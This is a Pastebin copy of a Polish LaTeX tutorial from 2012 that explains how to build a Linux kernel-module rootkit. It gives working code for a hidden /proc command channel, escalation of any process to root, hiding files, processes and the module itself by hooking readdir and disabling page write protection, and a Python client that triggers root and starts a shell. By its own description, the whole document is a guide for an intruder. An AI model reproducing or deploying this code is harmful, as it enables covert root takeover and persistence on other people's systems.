Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- \documentclass[a4paper]{article}
- \usepackage[utf8x]{inputenc}
- \usepackage[T1]{fontenc}
- \usepackage[polish]{babel}
- \usepackage{minted}
- \begin{document}
- \title{Prosta, wysokopoziomowa implementacja rootkita dla Linuksa.}
- \author{Arkadiusz ,,Ivyl'' Hiler \and Michał ,,t3hknr'' Winiarski}
- \date{Styczeń 2012}
- \maketitle
- \newpage
- \begin{abstract}
- Opis metod i technik użytych przy implementacji modułu jądra umożliwającego intruzowi utrzymanie kontroli nad systemem
- oraz ukrycie swoich działań.
- Moduł umożliwia uzyskanie praw roota oraz ukrycie plików, procesów oraz samego siebie.
- Wydawanie rozkazów jak i sprawdzanie stanu rootkita odbywa sie za pomocą ukrytego wpisu w \texttt{/proc}.
- Pełen kod rootkita został zamieszony na końcu ninejszego dokumenu oraz na
- \texttt{https://github.com/ivyl/rootkit}
- \end{abstract}
- \newpage
- \tableofcontents
- \newpage
- \section{Wstęp}
- \subsection{Metody zdobywania wiedzy}
- Podstawowy opis struktur \texttt{file} i \texttt{file\_operations}, techniki
- debugowania, czy budowy i uruchamiania modułów można znaleźć w ,,Linux Device
- Drivers''\cite{ldd3}. Następny w kolejności źródłem infromacji jest sam kod
- źródłowy kernela. Poszukiwanie funkcji najlepiej zacząć od przeszukania plików
- nagłówkowych zawierających ich deklaracje (katalog \texttt{include/}). Łatwo
- można skonstruować wyrażenia regularne szukające prototypu zwracającego
- interesujący nas typ i zawierającego interesujące nas słowo. Szukania
- przykładowego użycia można dokonać w pozostałych katalogach, zawierających
- sterowniki i samą implementację. Do przeglądania zagadnień najlepiej nadaje
- się dokumentacja jądra (\texttt{Documentation/}). W dokumencie ograniczymy się
- do pobieżnej analizy potrzebnych nam funkcji i struktur, pomijając nieistotne
- pola. Zachęcamy do pełnej samodzielnej analizy plików nagłówkowych.
- \subsection{Środowisko}
- Moduł zbudowany w oparciu o przedstawione techniki z powodzeniem był
- kompilowany oraz działa na jądrze 3.1.0 oraz 3.1.5. Użyto gcc w wersji 4.6.x.
- Nie powinno być jednak problemu z innymi wersjami gcc jak i jądrami w wersji
- większej lub równej od 2.6.26 (wcześniej nie była eksportowana funkcja
- \texttt{lookup\_address}). Testy przeprowadzono zarówno na jądrze
- skompilowanym pod architekturzę x86 jak i x86\_64.
- \section{Makefile}
- Użyliśmy standardowgo pliku \texttt{Makefile} opisanego w LDD\cite{ldd3}:
- \begin{minted}[frame=lines,framesep=2mm]{makefile}
- ifneq ($(KERNELRELEASE),)
- obj-m := rt.o
- else
- KERNELDIR ?= /lib/modules/$(shell uname -r)/build
- PWD := $(shell pwd)
- default:
- $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
- endif
- \end{minted}
- Wykonanie polecenia make powoduje samodzielnie ustawienie środowiska do
- budowania na podstawie symlinku build w katalogu zawierającym moduły aktualnie
- używanego jądra.
- \section{Właściwa implementacja}
- \subsection{Struktura modułu}
- Stworzenie nowego modułu wymaga oznaczenia dwóch funkcji za pomocą makr
- \texttt{module\_init} i \texttt{module\_exit} (plik nagłówkowy \texttt{linux/init.h}).
- Prototypy jak w przykładzie:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- #include <linux/init.h>
- #include <linux/module.h>
- MODULE_LICENSE("Dual BSD/GPL");
- MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
- MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");
- static int __init rootkit_init(void) {
- return 0;
- }
- static void __exit rootkit_exit(void) {
- }
- module_init(rootkit_init);
- module_exit(rootkit_exit);
- \end{minted}
- \texttt{\_\_init} oraz \texttt{\_\_exit} to makra oznaczające funkcje
- używane jedynie przy ładowaniu/zwalnianiu modułu, dzięki czemu może zwolnić
- zajmowane przez nie zasoby.
- Znaczenie makr \texttt{MODULE\_AUTHOR} oraz \texttt{MODULE\_LICENSE}
- (\texttt{linux/module.h}) jest oczywiste.
- Na szczególną uwagę zasługuje użycie modyfikatora \texttt{static}. Gwarantuje
- on nam, że funkcja nie jest widoczna na zewnątrz naszego kodu (żadne symbole
- nie są eksportowane). Postaramy się używać go przy każdej definicji w celu
- lepszego ukrycia modułu jądra.
- \subsection{Wpis w /proc}
- Interesujące nas funkcje znajdują się w pliku nagłówkowym
- \texttt{linux/proc\_fs.h}.
- \begin{minted}{c}
- struct proc_dir_entry *create_proc_entry(const char *name,
- mode_t mode, struct proc_dir_entry *parent);
- \end{minted}
- Pierwszy parametr to zwyczajnie nazwa, drugi to tryb dostępu, najłatwiej podać
- ósemkowo. Ostatnim parametrem jest rodzic w procfs, gdy podamy \texttt{NULL},
- wpis tworzony jest w procfs root.
- Należy pamiętać o sprawdzaniu czy zwracana jest poprawna struktura (nie
- \texttt{NULL}). Przy wyładowywaniu modułu należy pamiętać o usunięciu wpisu:
- \begin{minted}{c}
- remove_proc_entry(const char *name, struct proc_dir_entry *parent);
- \end{minted}
- Struktura \texttt{proc\_dir\_entry} zwracana przez powyższą funkcję zawiera
- m.in. wskaźniki na funkcje używane przy odczycie/zapisie do pliku.
- Interesujące nas pola to \texttt{read\_proc} oraz
- \texttt{write\_proc}\cite{lkmpg}. Prototypy funkcji na które wskazują:
- \begin{minted}{c}
- int read(char *buffer, char **buffer_location, off_t off,
- int count, int *eof, void *data);
- int write(struct file *file, const char __user *buff,
- unsigned long count, void *data);
- \end{minted}
- \subsubsection{Read}
- Pierwsza funkcja zwrotna jest wywoływana gdy odczytujemy z pliku. Pierwszym
- paramterem jest bufor, do którego mamy zapisywać, drugi to jego położenie w
- pamięci, można użyć np. do zaalokowania własnego bufora, trzeci to offset, od
- którego chcemy zacząć czytać, czwarty to rozmiar buffora, który dostaliśmy,
- piąty wskazuje eof (po wpisaniu 1 pod adres), szóty to wkaźnik na dodatkowe
- dane. Funkcja zwraca liczbę wypisanych znaków.
- Przykładowa bezpieczna implementacja przy założeniu, że mamy zaalokowany
- odpowiednio duży \texttt{char[] module\_status}:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- int rtkit_read(char *buffer, char **buffer_location,
- off_t off, int count, int *eof, void *data) {
- int size;
- //build module_status
- size = strlen(module_status);
- if (off >= size) return 0;
- if (count >= size-off) {
- memcpy(buffer, module_status+off, size-off);
- } else {
- memcpy(buffer, module_status+off, count);
- }
- return size-off;
- }
- \end{minted}
- Podana wyżej implementacja gwarantuje nam nieprzekroczenie obszaru bufora,
- zakończneie odczytu (zwrócenie zero przy próbie odczytu poza obszarem, nie używamy eof)
- oraz poprawną obsługę programów do czytania stronami (less, more) dzięki obsłudze offsetu.
- \subsubsection{Write}
- Parametrami, które nas interesują jest \texttt{buff}, czyli bufor wejściowy
- oraz \texttt{count} czyli rozmiar danych przekazanych w buforze. Pozostałe
- parametry to struktura file opisująca plik do którego piszemy oraz wskaźnik na
- dodatkowe dane. Funkcja zwraca liczbę przetworzonych znaków.
- Wystarczy porównywać zawartość bufora z komendą i wyciągnąć ewentualne
- dodatkowe informacje. Należy pamiętać o rozmiarze bufora i liczbie znaków.
- \begin{minted}[frame=lines,framesep=2mm]{c}
- int rtkit_write(struct file *file, const char __user *buff,
- unsigned long count, void *data) {
- if (!strncmp(buff, "secreet pass", MIN(11, count))) { }
- return count;
- }
- \end{minted}
- Powyżej użyte zostało makro:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- #define MIN(a,b) \
- ({ typeof (a) _a = (a); \
- typeof (b) _b = (b); \
- _a < _b ? _a : _b; })
- \end{minted}
- \subsubsection{Podniesienie uprawnień}
- W pliku nagłówkowym \texttt{linux/cred.h} znajduje się funkcje które pozwalają
- na pobranie uprawnień aktualnie wykonywanego procesu oraz ich ponowne
- zapisanie. \texttt{prepare\_creds()} zwraca nam strukturę cred z informacjami
- o bieżacym procesie i jego uprawnienaich, zaś \texttt{commit\_creds(struct
- cred*)} ustawia procesowi nowe wartości na podstawie podanej struktury.
- Interesują nas pola uid, gid, euid oraz egid (user id, group id oraz ich
- efektywne wersje). W pobranej strukturze należy zmienić wartość tych pól na 0
- (root) po czym zatwierdzić nowe ustawienia.
- \begin{minted}[frame=lines,framesep=2mm]{c}
- struct cred *credentials = prepare_creds();
- credentials->uid = credentials->euid = 0;
- credentials->gid = credentials->egid = 0;
- commit_creds(credentials);
- \end{minted}
- Wewnątrz funkcji write aktualnie wykonywnem procesem będzie proces, który
- pisał do pliku w \texttt{/proc}, więc można tam dokonać zmiany.
- \subsubsection{Uwagi}
- Łatwo złożyć powyższe informacje w całość, która po wydaniu odpowiedniego
- rozkazu do wpisu w \texttt{/proc} daje nam uprawnienia roota. Obie funkcje
- (read i wrtie) są w zasadzie gotowe do przypisania do odpowienich pól
- struktury.
- Do budowy odpowiedzi jak i sprawdzania wejścia możemy użyć funkcji z
- \texttt{linux/string.h}. Znajdziemy tam klasyczne funkcje
- porównania(\texttt{strcmp}, \texttt{strncmp}) budowy łańcuchów
- (\texttt{sprintf}) czy kopiowania.
- \subsection{Wydawanie rozkazów poprzez wpis}
- \begin{minted}[frame=lines,framesep=2mm]{python}
- #!/usr/bin/env python
- import sys
- import os
- def order(command):
- f = open("/proc/rtkit", "w")
- f.write(command)
- f.close()
- if len(sys.argv) > 1:
- order(sys.argv[1])
- if len(sys.argv) > 2:
- os.execl(sys.argv[2], "")
- \end{minted}
- Powyższy program zapisuje pierwszy przekazany argument do wpisu w
- \texttt{/proc}. Jeżeli podany jest drugi argument, to uruchamiany jest
- wskazywany przezeń program (np. po dostaniu roota odpalamy powłokę bash).
- \subsection{Ukrycie wpisów w \texttt{/proc}}
- \subsubsection{Użyteczność}
- Ukrywanie plików w \texttt{/proc} może posłużyć do ukrycia wpisu stworzonego
- przez nas jak i ukrycia procesów w systemie. Programy pokroju \texttt{ps} i
- \texttt{top} listują katalogi w \texttt{/proc} reprezentujące procesy. Ukrycie
- tych katalogów skutkuje ukryciem procesów.
- \subsubsection{Wyciągnięcie \texttt{file\_operations}}
- Zmian tych można dokonać poprzez zastąpienie używanej funkcji
- \texttt{readdir}, która zamienia funkcję \texttt{filldir} przekazywaną do
- oryginału. Wskaźnik do funkcji \texttt{readdir} znajduje się w strukturze
- \texttt{file\_operations}. Interesuje nas struktura dla \texttt{/proc}.
- Wskaźnik na \texttt{file\_operations} można znaleść w strukturze
- \texttt{proc\_dir\_entry}. Nasz nowo utworzony plik w \texttt{/proc} zawiera
- wskaźnik na rodzica - w tym wypadku sam \texttt{/proc}. Pole
- \texttt{proc\_fops} zawiera interesującą nas strukturę.
- \mint{c}|proc_rtkit->parent->proc_fops|
- \subsubsection{Własne \texttt{readdir} i \texttt{filldir}}
- Własna wersja \texttt{readdir} ma za zadanie jedynie opakować oryginalne
- \texttt{filldir} w naszą własną wersję. Uzywamy do tego globalnej statycznej
- zmiennej. \texttt{filldir} natomiast ma zwracać 0 jeśli chemy ukryć wpis lub
- też wywoływać oryginał. Pozwolimy pominąć sobie opis prototypów funkcji i
- przejść do implementacji:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
- proc_filldir_orig = filldir; //some static variable
- return proc_readdir_orig(filp, dirent, proc_filldir_new);
- }
- int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset,
- u64 ino, unsigned d_type) {
- if (!strcmp(name, "rtkit")) return 0;
- return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
- }
- \end{minted}
- Użycie globalnej zmiennej nie powoduje kłopotów w razie przypadkowego
- wywłaszczenia. \texttt{filldir} jest zawsze takie samo, nie ma niestety innego
- sposobu na jego wyciągniecie niż zrobieni tego w ciele \texttt{readdir}.
- \subsubsection{Zmiana trybu dostepu do strony w pamięci}
- Niestety bezpośrednia podmiana wskaźnika w strukturze nie jest możliwa z dwóch
- powodów. Po pierwsze, wskaźnik jest typu \texttt{const} i potrzebne jest
- odpowiednie rzutowanie, po drugie ze wzgledu na oznaczenie strony pamięci, na
- której znajduje się struktura \texttt{file\_operations} jako tylko do odczytu.
- Kończy się to błędem typu Kernel Oops z komunikatem ,,unable to handle kernel
- paging'' istnieje kilka metod zmiany trybu strony, jednak większość ma pewne
- dodatkowe ograniczenia (np. nie zmienianie trybu strony znajdującej się w
- obszarze .rodata). W kernelu w wersji 2.6.26 lub wyższej eksportowana jest
- metoda o prototypie\cite{stovf1}:
- \mint{c}|pte_t *lookup_address(unsigned long addr, unsigned int *level);|
- Wyciąga ona struturę \texttt{pte\_t} zawierającą pole \texttt{pte} pozwalające
- na zmianę trybu dostępu (maska bitowa). Interesuje nas ustawienie
- \texttt{\_PAGE\_RW} po czym posprzątanie po sobie.
- Wymaga to od nas rzutowania wskaźnika na struturę na typ \texttt{unsigned
- long}. Ze względu na potrzebę użycia tego w kilku miejscach stwórzmy sobie
- metody pomocnicze:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- void set_addr_rw(void *addr) {
- unsigned int level;
- pte_t *pte = lookup_address((unsigned long) addr, &level);
- if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
- }
- void set_addr_ro(void *addr) {
- unsigned int level;
- pte_t *pte = lookup_address((unsigned long) addr, &level);
- pte->pte = pte->pte &~_PAGE_RW;
- }
- \end{minted}
- Przez wkaźnik przekazywany jako drugi parametr zwracany jest poziom strony,
- który ignorujemy. Po wykonaniu \texttt{set\_addr\_rw(proc\_fops)} można
- dokonać podmiany, po czym należy wrócić do trybu tylko do odczytu:
- \begin{minted}[frame=lines,framesep=2mm]{c}
- set_addr_rw(proc_fops);
- proc_fops->readdir = proc_readdir_new;
- set_addr_ro(proc_fops);
- \end{minted}
- Pamiętajmy też o zapamiętaniu oryginału, by móc przywrócić stan pierwotny przy
- wyładowywaniu modułu.
- \subsection{Ukrycie wpisów w systemie plików}
- \subsubsection{Wyciągnięcie \texttt{file\_operations}}
- Wszystko odbywa się analogicznie do ukrywania wpisów w \texttt{/proc}. Jedynej
- trudności nastręcza wyciągniecie struktury \texttt{file\_operations}. Systemy
- plików rejestrowane są w podsystemie VFS. Stamtąd można wyciągnąć jedynie
- wkaźnik na funkcję używaną do montowania dla systemu plików o konkretnej
- nazwie. Najlepszą i najbezpieczniejszą metodą (gwarantującą podmianą readdir
- dla używanego systemu plików) jest użycie funkcji:
- \mint{c}|struct file *filp_open (const char *filename, int flags, int mode);|
- Jako flags podajemy \texttt{O\_RDONLY}, mode jest istotny tylko przy użyciu
- flagi \texttt{O\_CREAT}, więc podajemy cokolwiek. Najlepiej otworzyć folder,
- którego istnienia zawsze jesteśmy pewni, np. \texttt{/etc}. Struktura file
- zawiera pole f\_op będące wskaźnikiem na \texttt{file\_operations} (pamiętać o
- rzutowniu, jest typu \texttt{const}, oraz o zmianie trybu strony). Po czym
- plik należy zamknąć
- \mint{c}|int filp_close(struct file *filp, fl_owner_t id);|
- ID dotyczy wątku zarządzającego, podajemy \texttt{NULL} Funkcje te opisane są
- w pliku nagłówkowym \texttt{linux/fs.h}.
- \subsection{Ukrycie modułu}
- Podstawowym zabiegiem jest wcześniej wspomniane używanie modyfikatora
- \texttt{static}. Dzięki temu unikniemy pojawienia się wpisów w
- \texttt{/proc/kallsyms}. Dodatkowo należy usunać moduł z listy modułów (nie
- będzie widoczny przez lsmod) i zadbać o wyrejestrowanie obiektów
- \texttt{kobject}, które mają swoją reprezentację w \texttt{/sys}. Posłużymy
- się metodami \texttt{list\_del(struct list\_head*)} oraz
- \texttt{kobject\_del(struct kobject*)}.
- \begin{minted}[frame=lines,framesep=2mm]{c}
- list_del(&THIS_MODULE->list);
- kobject_del(&THIS_MODULE->mkobj.kobj);
- list_del(&THIS_MODULE->mkobj.kobj.entry);
- \end{minted}
- \texttt{THIS\_MODULE} to makro dające dostęp do struktury opisjącej bieżący
- moduł.
- Można zapamiętać poprzedniki (pole \texttt{prev}) w celu powrotnego dodania na
- rozkaz (umożliwienie wyładowania modułu).
- \section{Podsumowanie}
- Z odrobiną własnej inwencji można złożyć powyższe w całość, zaimplementować
- rozkaz ukrywania PIDów, itd. Poniżej zamieściliśmy listnig kodu w pełni
- funkcjonującego rootkita.
- \section{Pełen kod}
- \inputminted[linenos,fontsize=\footnotesize]{c}{../rt.c}
- \begin{thebibliography}{9}
- \bibitem{ldd3}
- Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman
- \emph{Linux Device Drivers}.
- O'Reilly,
- 3rd Edition,
- 2005.
- \bibitem{stovf1}
- Corey Henderson
- \emph{Linux Kernel: System call hooking example}, Stackoverflow discussion.
- http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example
- \bibitem{lkmpg}
- Peter Jay Salzman, Michael Burian, and Ori Pomerantz
- \emph{The Linux Kernel Module Programming Guide}.
- http://linux.die.net/lkmpg/
- \end{thebibliography}
- \end{document}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement